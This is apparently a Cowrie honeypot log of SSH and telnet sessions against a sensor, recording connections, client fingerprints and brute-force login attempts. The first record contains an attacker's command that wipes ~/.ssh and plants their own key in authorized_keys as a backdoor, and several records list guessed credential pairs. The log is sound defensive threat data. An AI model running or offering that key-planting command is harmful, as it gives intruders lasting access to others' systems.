{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:39:37.774755Z","src_ip":"157.10.160.221","session":"7024e26b4765","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:39:38.025015Z","src_ip":"157.10.160.221","session":"7024e26b4765","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:39:38.028606Z","src_ip":"157.10.160.221","session":"7024e26b4765","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.69943857192993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:39:38.177416Z","src_ip":"45.226.5.18","session":"b5549655ab4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.10.160.221","src_port":43778,"dst_ip":"10.17.0.5","dst_port":22,"session":"6993eb757ab5","protocol":"ssh","message":"New connection: 157.10.160.221:43778 (10.17.0.5:22) [session: 6993eb757ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:39:38.265198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:39:38.269115Z","src_ip":"157.10.160.221","session":"6993eb757ab5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:39:38.510571Z","src_ip":"157.10.160.221","session":"6993eb757ab5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:39:39.510606Z","src_ip":"157.10.160.221","session":"6993eb757ab5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:39:40.756080Z","src_ip":"157.10.160.221","session":"6993eb757ab5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.10.160.221","src_port":43780,"dst_ip":"10.17.0.5","dst_port":22,"session":"984a216e9d38","protocol":"ssh","message":"New connection: 157.10.160.221:43780 (10.17.0.5:22) [session: 984a216e9d38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:39:40.993406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:39:40.997168Z","src_ip":"157.10.160.221","session":"984a216e9d38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:39:41.239246Z","src_ip":"157.10.160.221","session":"984a216e9d38","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:39:42.242113Z","src_ip":"157.10.160.221","session":"984a216e9d38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:39:42.489331Z","src_ip":"157.10.160.221","session":"984a216e9d38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:39:42.494408Z","src_ip":"157.10.160.221","session":"7024e26b4765","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.5.169.138","src_port":34600,"dst_ip":"10.17.0.5","dst_port":22,"session":"c971293d430a","protocol":"ssh","message":"New connection: 150.5.169.138:34600 (10.17.0.5:22) [session: c971293d430a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:40:00.316271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:40:00.321276Z","src_ip":"150.5.169.138","session":"c971293d430a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:40:00.534811Z","src_ip":"150.5.169.138","session":"c971293d430a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"12345","message":"login attempt [user01/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:40:01.420063Z","src_ip":"150.5.169.138","session":"c971293d430a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:40:02.637535Z","src_ip":"150.5.169.138","session":"c971293d430a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.226.5.18","src_port":47432,"dst_ip":"159.203.135.109","dst_port":23,"session":"2169a8171c1a","protocol":"telnet","message":"New connection: 45.226.5.18:47432 (159.203.135.109:23) [session: 2169a8171c1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:40:28.275888Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":51752,"dst_ip":"159.203.135.109","dst_port":22,"session":"71edb1e50e19","protocol":"ssh","message":"New connection: 2.57.122.210:51752 (159.203.135.109:22) [session: 71edb1e50e19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:40:40.992511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:40:40.998026Z","src_ip":"2.57.122.210","session":"71edb1e50e19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:40:41.098975Z","src_ip":"2.57.122.210","session":"71edb1e50e19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1","message":"login attempt [sol/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:40:41.398608Z","src_ip":"2.57.122.210","session":"71edb1e50e19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:40:42.502764Z","src_ip":"2.57.122.210","session":"71edb1e50e19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":60452,"dst_ip":"10.17.0.5","dst_port":22,"session":"202f3b3f1250","protocol":"ssh","message":"New connection: 193.32.162.145:60452 (10.17.0.5:22) [session: 202f3b3f1250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:40:48.770906Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:40:48.876734Z","src_ip":"193.32.162.145","session":"202f3b3f1250","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.219.234.233","src_port":40974,"dst_ip":"10.17.0.5","dst_port":22,"session":"80c99676b70d","protocol":"ssh","message":"New connection: 118.219.234.233:40974 (10.17.0.5:22) [session: 80c99676b70d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:40:58.011588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:40:58.015948Z","src_ip":"118.219.234.233","session":"80c99676b70d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:40:58.202567Z","src_ip":"118.219.234.233","session":"80c99676b70d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"monitoring","password":"123456","message":"login attempt [monitoring/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:40:58.982439Z","src_ip":"118.219.234.233","session":"80c99676b70d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.53488516807556,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:40:59.810660Z","src_ip":"45.226.5.18","session":"2169a8171c1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:41:00.171527Z","src_ip":"118.219.234.233","session":"80c99676b70d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.122.196.230","src_port":42334,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f87a65834ea","protocol":"ssh","message":"New connection: 118.122.196.230:42334 (159.203.135.109:22) [session: 0f87a65834ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:41:05.398391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_7.4","message":"Remote SSH version: SSH-2.0-OpenSSH_7.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:41:06.409922Z","src_ip":"118.122.196.230","session":"0f87a65834ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"acaa53e0a7d7ac7d1255103f37901306","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,ext-info-c;des,3des,blowfish,none,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,arcfour128,arcfour256,aes128-cbc,aes192-cbc,aes256-cbc,rijndael-cbc@lysator.liu.se,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-512,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-ripemd160-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","ext-info-c"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss","ssh-dss-cert-v01@openssh.com"],"encCS":["des","3des","blowfish","none","3des-cbc","blowfish-cbc","cast128-cbc","arcfour","arcfour128","arcfour256","aes128-cbc","aes192-cbc","aes256-cbc","rijndael-cbc@lysator.liu.se","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-512","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-ripemd160-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: acaa53e0a7d7ac7d1255103f37901306","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:41:06.415111Z","src_ip":"118.122.196.230","session":"0f87a65834ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"unknown","password":"unknown2025","message":"login attempt [unknown/unknown2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:41:08.623855Z","src_ip":"118.122.196.230","session":"0f87a65834ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:41:10.630042Z","src_ip":"118.122.196.230","session":"0f87a65834ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.10.160.221","src_port":46140,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1d1d098cbdd","protocol":"ssh","message":"New connection: 157.10.160.221:46140 (10.17.0.5:22) [session: c1d1d098cbdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:41:50.470105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:41:50.473992Z","src_ip":"157.10.160.221","session":"c1d1d098cbdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:41:50.720716Z","src_ip":"157.10.160.221","session":"c1d1d098cbdd","protocol":"ssh"}
